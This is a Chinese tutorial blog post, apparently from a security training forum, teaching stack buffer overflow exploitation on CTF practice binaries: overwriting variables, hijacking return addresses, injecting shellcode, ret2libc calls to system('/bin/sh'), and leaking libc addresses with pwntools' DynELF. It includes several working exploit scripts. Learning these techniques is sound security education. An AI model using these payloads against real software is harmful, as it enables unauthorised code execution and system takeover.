「干货分享」表哥亲自传授 bof 秘笈,快收藏

今天的文章是i春秋论坛作家「HAI_」表哥原创的一篇关于bof的学习攻略,他把学习过程中感悟与心得分享给需要的小伙伴,感兴趣的童鞋快来学习吧!

 

分类

1、数据覆盖;

2、返回地址函数跳转;

3、函数覆盖调用;

4、函数构造;

5、off计算以及bss数据写入。

数据覆盖

先来解释一下数据覆盖是指什么,这里是说,通过溢出来覆写其他位置的数据,达到某种效果。一般题目比较常见的就是更改逻辑判断。

溢出有一个东西是不变的,就是你既然要溢出,那么必然要写满才能溢出。

那么如果判断是bof的话,第一步找到溢出点,第二步就是用无用的数据填满。

公式:

payload=需要覆盖垃圾数据的量+需要覆写的内容

需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址

整理一下就是payload=待覆盖变量地址-溢出变量地址+需要覆写的内容

那么按照这样子的逻辑我们来看一个例子:

 

汇编看不懂没关系,F5也行,前期不要求。

 

这里可以看到我们溢出点在get上,并且需要用s去覆盖a1,那么按照公式:

待覆盖变量地址=ebp+arg_0=ebp+8

 

溢出变量地址=ebp-2Ch

需要覆盖垃圾数据的量=待覆盖变量地址-溢出变量地址=ebp+8-ebp-2Ch=8+2ch=34

需要覆写的内容=0xCAFEBABE

 

payload=34个垃圾数据+0xCAFEBABE

这里使用pwntools进行payload的生成,自己写也没问题。

from pwn import *

payload=0x34*'A'+p32(0xCAFEBABE)

print(payload)

 

返回地址函数跳转

1、目标提供了system函数

这里就是说覆盖地址把返回地址之前的内容都覆盖完了,那么这里就获得了返回地址的覆写权,也可以说是操作权。

一般什么时候会用到这个东西呢,比如说,这个程序有一个方法,但是在却没有进行调用,我们就可以通过控制返回地址来达到覆写执行的目录。

可以简单的理解为 就是执行了一个 goto跳转。

公式:

payload=覆写垃圾数据+返回地址的值

这里也来举一个例子:

 

这里可以看到一个good_gaem函数。

 

可以看到是读取了一个flag.txt的文件。

 

按照公式我们来找:

覆写垃圾数据=0x88

 

返回地址的值=0x400620

 

那最后的payload=0x88*'A'+0x400620

这里还是使用pwntools来进行payload的生成

from pwn import *

payload=0x88*'A'+p64(0x400620)

print(payload)

 

2、目标没有提供system,需要自己写shellcode。

这里就是说nx没有开启保护的情况下,就可以自己来进行shellcode的编写,一般可以写shellcode要求填充数据的位置要够。

公式:

payload=shellcode+(垃圾填充长度-shellcode长度)的垃圾数据+返回地址(shellcode)的地址

还是举个例子:

 

这里可以看到是read导致的溢出。

 

然后这里看到打印了地址:

 

效果大概是这样:

 

那么我们还是按照公式来找,首先是填充字段=0x88。

 

返回地址需要进行动态截取,就需要使用pwntools进行,shellcode也是用pwntools生成,真的是十分方便。

from pwn import *
sh = process("./lx3")
shellcode = asm(shellcraft.i386.linux.sh())
line = sh.recvline()[14:-2]
buf_addr = int(line,16)
payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
sh.send(payload)
sh.interactive()
sh.close()

 

函数覆盖调用

这里是指,在没有函数让我们进行goto跳转也就是操作返回地址的时候,就需要对函数进行主动的调用。

公式:

payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

这里来看一个实例:

还是read的溢出点

 

覆盖垃圾地址=0x88

这里返回地址直接随便填就行

覆盖返回地址='A'*4

函数地址=0x0804824B

函数地址我们ida shift+f12 看一下string

 

这里返回地址如果没有要执行下一步的话,直接返回垃圾数据就行。

返回地址='A'*4,参数1=/bin/sh=0x0804A024。

 

至此我们payload是构造出来了。

写脚本即可:

from pwn import *
payload=0x88*'A'+0x4*'A'+p32(0x08048320)+0x4*'A'+p32(0x0804A024)
print(payload)

函数构造

上面说了函数覆盖调用,这里来说函数构造,指目标本身不包含system等命令的时候,我们需要从别的地方下手。

我们选择从lib so库中下手,获取system等地址。

公式:(公式和函数覆盖调用一致,只是获取方式不同)

payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

举个例子:

 

还是read溢出,我们开始找公式内的内容。

 

覆盖垃圾地址=0x88

覆盖返回地址=0x4

这里找函数地址,找函数地址前,先找基址,这里可以看到基址为0xf7ce8000

 

system函数地址:0x000426e0

 

/bin/sh 参数1:

 

最后就可以组成payload了,构造方法参考上面内容。

 

off计算以及bss数据写入

有一种情况就是说,没有so库,并且也没有办法获取到在线目标so库的内容,那么就需要通过write去找基址。

公式:(公式还是这个)

payload=覆盖垃圾地址+覆盖返回地址+函数地址+返回地址+参数1+参数2...

可以继续用上面的例子,这里使用pwntools的DynELF获取到system地址。

def leak(address):
        payload=junk+p32(write_addr)+p32(start_addr)+p32(1)+p32(address)+p32(4)
        p.sendline(payload)
        leak_addr=p.recv()
        return leak_addr

d = DynELF(leak,elf=ELF("./lx2"))
system_addr = d.lookup('system','libc')

通过DynELF方式可以获取到system的地址。

然后还需要将我们的/bin/sh加载到bss上去,这里需要使用read方法:

payload2='a'*(0x88+0x04)+p32(read_plt)+p32(start_addr)+p32(0)+p32(bss_addr)+p32(8)
p.send('/bin/sh\x00')

这样就可以将/bin/sh写到bss字段中,最后构造成payload。

 

以上是今天要分享的内容,大家看懂了吗?

posted @ 2020-08-06 11:14  i春秋  阅读(538)  评论(0编辑  收藏  举报